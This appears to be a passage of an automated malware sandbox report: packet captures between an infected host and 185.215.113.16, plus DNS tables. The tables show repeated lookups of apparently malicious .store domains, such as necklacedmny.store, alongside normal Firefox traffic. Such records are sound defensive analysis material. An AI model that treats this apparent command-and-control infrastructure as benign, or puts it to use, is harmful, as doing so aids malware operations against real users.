Oct 30, 2024 05:25:33.322679043 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.322716951 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.322741032 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.322761059 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.322771072 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.322798967 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.322813988 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.353897095 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.353912115 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.353929043 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.353971004 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.354012966 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.354089022 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.354099989 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.354110003 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.354131937 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.354159117 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.395870924 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.395890951 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.395900011 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.395909071 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.395982027 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.396029949 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.396183014 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.396222115 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.396228075 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.396230936 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.396254063 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.396261930 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.396282911 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.396296024 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.409851074 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.409882069 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.409892082 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.409909964 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.409949064 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.409987926 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.409997940 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410008907 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410028934 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410056114 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410125017 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410135031 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410146952 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410166979 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410168886 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410177946 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410187960 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410212994 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410228968 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410456896 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410468102 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410479069 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410489082 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410500050 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410528898 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410661936 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410671949 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410682917 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410698891 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410726070 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410736084 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410746098 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410758018 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.410770893 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.410803080 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.411015987 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.411034107 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.411042929 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.411053896 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.411082983 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.411217928 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.411226988 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.411236048 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.411253929 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.411283016 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.439538956 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.439548969 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.439610004 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.471096039 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.471141100 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.471151114 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.471157074 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.471183062 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.471187115 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.471196890 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.471205950 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.471206903 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.471218109 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.471224070 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.471227884 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.471241951 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.471275091 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.512825966 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.512845039 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.512855053 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.512881994 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.512916088 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.513010025 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.513051033 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.513066053 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.513076067 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.513086081 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.513103008 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.513123989 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.526715040 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526726007 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526755095 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.526776075 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.526848078 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526859999 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526871920 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526890039 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526890039 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.526901960 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526916027 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.526943922 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.526963949 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526976109 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526988029 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.526997089 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.527009964 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.527060032 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.527309895 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.527327061 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.527338028 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.527353048 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.527384043 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.527447939 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.527457952 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.527467966 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.527487040 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.527512074 CET	80	50006	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 05:24:06.521925926 CET	192.168.2.6	1.1.1.1	0xf481	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:24:06.536509991 CET	192.168.2.6	1.1.1.1	0xad68	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:24:06.547203064 CET	192.168.2.6	1.1.1.1	0x5565	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:24:06.558598042 CET	192.168.2.6	1.1.1.1	0x73c8	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:24:06.569303036 CET	192.168.2.6	1.1.1.1	0xdddd	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:17.699486017 CET	192.168.2.6	1.1.1.1	0xb436	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:17.713120937 CET	192.168.2.6	1.1.1.1	0xfa74	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:17.725025892 CET	192.168.2.6	1.1.1.1	0x7c66	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:17.738167048 CET	192.168.2.6	1.1.1.1	0xeb3d	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:34.112087965 CET	192.168.2.6	1.1.1.1	0x289d	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:34.127082109 CET	192.168.2.6	1.1.1.1	0x69cf	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:34.138467073 CET	192.168.2.6	1.1.1.1	0x53b	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:34.148736954 CET	192.168.2.6	1.1.1.1	0xdb16	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:41.752234936 CET	192.168.2.6	1.1.1.1	0x1539	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:41.777861118 CET	192.168.2.6	1.1.1.1	0xa50b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:25:43.166237116 CET	192.168.2.6	1.1.1.1	0xde99	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:43.170298100 CET	192.168.2.6	1.1.1.1	0x133b	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:43.176407099 CET	192.168.2.6	1.1.1.1	0x8e94	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:43.186104059 CET	192.168.2.6	1.1.1.1	0xa3d3	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:43.186301947 CET	192.168.2.6	1.1.1.1	0x5909	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 30, 2024 05:25:43.214534998 CET	192.168.2.6	1.1.1.1	0x8cad	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:25:46.519043922 CET	192.168.2.6	1.1.1.1	0xd2b5	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:46.519479036 CET	192.168.2.6	1.1.1.1	0x9c74	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:46.529371023 CET	192.168.2.6	1.1.1.1	0xd2da	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:46.537975073 CET	192.168.2.6	1.1.1.1	0xd24c	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:46.548141956 CET	192.168.2.6	1.1.1.1	0x1393	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 05:25:49.396379948 CET	192.168.2.6	1.1.1.1	0x8fde	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:49.397046089 CET	192.168.2.6	1.1.1.1	0x3983	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:49.448545933 CET	192.168.2.6	1.1.1.1	0x90fa	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:49.449028969 CET	192.168.2.6	1.1.1.1	0x93d9	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:49.480850935 CET	192.168.2.6	1.1.1.1	0xb12e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:25:49.481239080 CET	192.168.2.6	1.1.1.1	0x8790	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:06.477094889 CET	192.168.2.6	1.1.1.1	0x58d8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:07.147352934 CET	192.168.2.6	1.1.1.1	0x77be	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:07.293929100 CET	192.168.2.6	1.1.1.1	0x115d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:07.330869913 CET	192.168.2.6	1.1.1.1	0xa10b	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.338790894 CET	192.168.2.6	1.1.1.1	0x6304	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:07.338960886 CET	192.168.2.6	1.1.1.1	0xf8d9	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:07.345763922 CET	192.168.2.6	1.1.1.1	0xffe3	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.357599974 CET	192.168.2.6	1.1.1.1	0x97df	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.387269974 CET	192.168.2.6	1.1.1.1	0xd194	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:07.413233042 CET	192.168.2.6	1.1.1.1	0xbbc1	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.423830986 CET	192.168.2.6	1.1.1.1	0xf3d6	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.501358986 CET	192.168.2.6	1.1.1.1	0x6ce5	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:07.591953039 CET	192.168.2.6	1.1.1.1	0x634a	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.630980968 CET	192.168.2.6	1.1.1.1	0xbc66	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.645522118 CET	192.168.2.6	1.1.1.1	0xfb66	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:07.649749994 CET	192.168.2.6	1.1.1.1	0xa7bb	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:07.678224087 CET	192.168.2.6	1.1.1.1	0xf56c	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:07.870191097 CET	192.168.2.6	1.1.1.1	0xcd54	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:09.968128920 CET	192.168.2.6	1.1.1.1	0x9b15	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.039463043 CET	192.168.2.6	1.1.1.1	0x4733	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.054018021 CET	192.168.2.6	1.1.1.1	0x63f3	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.066468954 CET	192.168.2.6	1.1.1.1	0x3bb7	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.455199957 CET	192.168.2.6	1.1.1.1	0xb398	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.455308914 CET	192.168.2.6	1.1.1.1	0xe743	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.455544949 CET	192.168.2.6	1.1.1.1	0xd26f	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.463284969 CET	192.168.2.6	1.1.1.1	0x4974	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.463628054 CET	192.168.2.6	1.1.1.1	0xabcb	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.464360952 CET	192.168.2.6	1.1.1.1	0x5631	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.471951008 CET	192.168.2.6	1.1.1.1	0xd3be	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:10.472759962 CET	192.168.2.6	1.1.1.1	0xc01f	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 30, 2024 05:26:10.473090887 CET	192.168.2.6	1.1.1.1	0x66ae	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:10.480376005 CET	192.168.2.6	1.1.1.1	0x7e1	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.481110096 CET	192.168.2.6	1.1.1.1	0xb62d	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.488593102 CET	192.168.2.6	1.1.1.1	0x7a15	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.489253998 CET	192.168.2.6	1.1.1.1	0xd600	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:10.496898890 CET	192.168.2.6	1.1.1.1	0x3c9d	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:10.496934891 CET	192.168.2.6	1.1.1.1	0x1da4	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:11.111221075 CET	192.168.2.6	1.1.1.1	0x2d8e	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:11.119822025 CET	192.168.2.6	1.1.1.1	0x1047	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:11.128865957 CET	192.168.2.6	1.1.1.1	0x3829	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:13.179013014 CET	192.168.2.6	1.1.1.1	0x66fc	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:32.264183998 CET	192.168.2.6	1.1.1.1	0x89a4	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:32.511343002 CET	192.168.2.6	1.1.1.1	0x3c80	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.654093027 CET	192.168.2.6	1.1.1.1	0x3293	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:32.678478003 CET	192.168.2.6	1.1.1.1	0xfccf	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.679666042 CET	192.168.2.6	1.1.1.1	0xddde	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:32.691116095 CET	192.168.2.6	1.1.1.1	0xd24d	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.691410065 CET	192.168.2.6	1.1.1.1	0x55f2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:32.833404064 CET	192.168.2.6	1.1.1.1	0xd74e	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:32.942234993 CET	192.168.2.6	1.1.1.1	0xedcb	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:32.972430944 CET	192.168.2.6	1.1.1.1	0x7918	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:32.974189043 CET	192.168.2.6	1.1.1.1	0xec7e	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:33.033906937 CET	192.168.2.6	1.1.1.1	0x7918	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:36.363373041 CET	192.168.2.6	1.1.1.1	0xc993	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:36.460315943 CET	192.168.2.6	1.1.1.1	0xe816	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:36.460858107 CET	192.168.2.6	1.1.1.1	0x673d	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:36.461741924 CET	192.168.2.6	1.1.1.1	0x2450	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:36.469054937 CET	192.168.2.6	1.1.1.1	0x57a4	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 30, 2024 05:26:36.469815969 CET	192.168.2.6	1.1.1.1	0x4947	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:38.993418932 CET	192.168.2.6	1.1.1.1	0xa736	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 05:26:49.764164925 CET	192.168.2.6	1.1.1.1	0x900f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:26:49.772347927 CET	192.168.2.6	1.1.1.1	0xd7df	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 05:24:06.531403065 CET	1.1.1.1	192.168.2.6	0xf481	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:24:06.545808077 CET	1.1.1.1	192.168.2.6	0xad68	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:24:06.556808949 CET	1.1.1.1	192.168.2.6	0x5565	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:24:06.567734003 CET	1.1.1.1	192.168.2.6	0x73c8	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:24:06.578598022 CET	1.1.1.1	192.168.2.6	0xdddd	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:24:06.578598022 CET	1.1.1.1	192.168.2.6	0xdddd	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:17.708729982 CET	1.1.1.1	192.168.2.6	0xb436	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:17.721765041 CET	1.1.1.1	192.168.2.6	0xfa74	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:17.735332012 CET	1.1.1.1	192.168.2.6	0x7c66	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:17.749171019 CET	1.1.1.1	192.168.2.6	0xeb3d	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:34.121577024 CET	1.1.1.1	192.168.2.6	0x289d	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:34.136853933 CET	1.1.1.1	192.168.2.6	0x69cf	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:34.147099972 CET	1.1.1.1	192.168.2.6	0x53b	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 05:25:34.158987999 CET	1.1.1.1	192.168.2.6	0xdb16	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
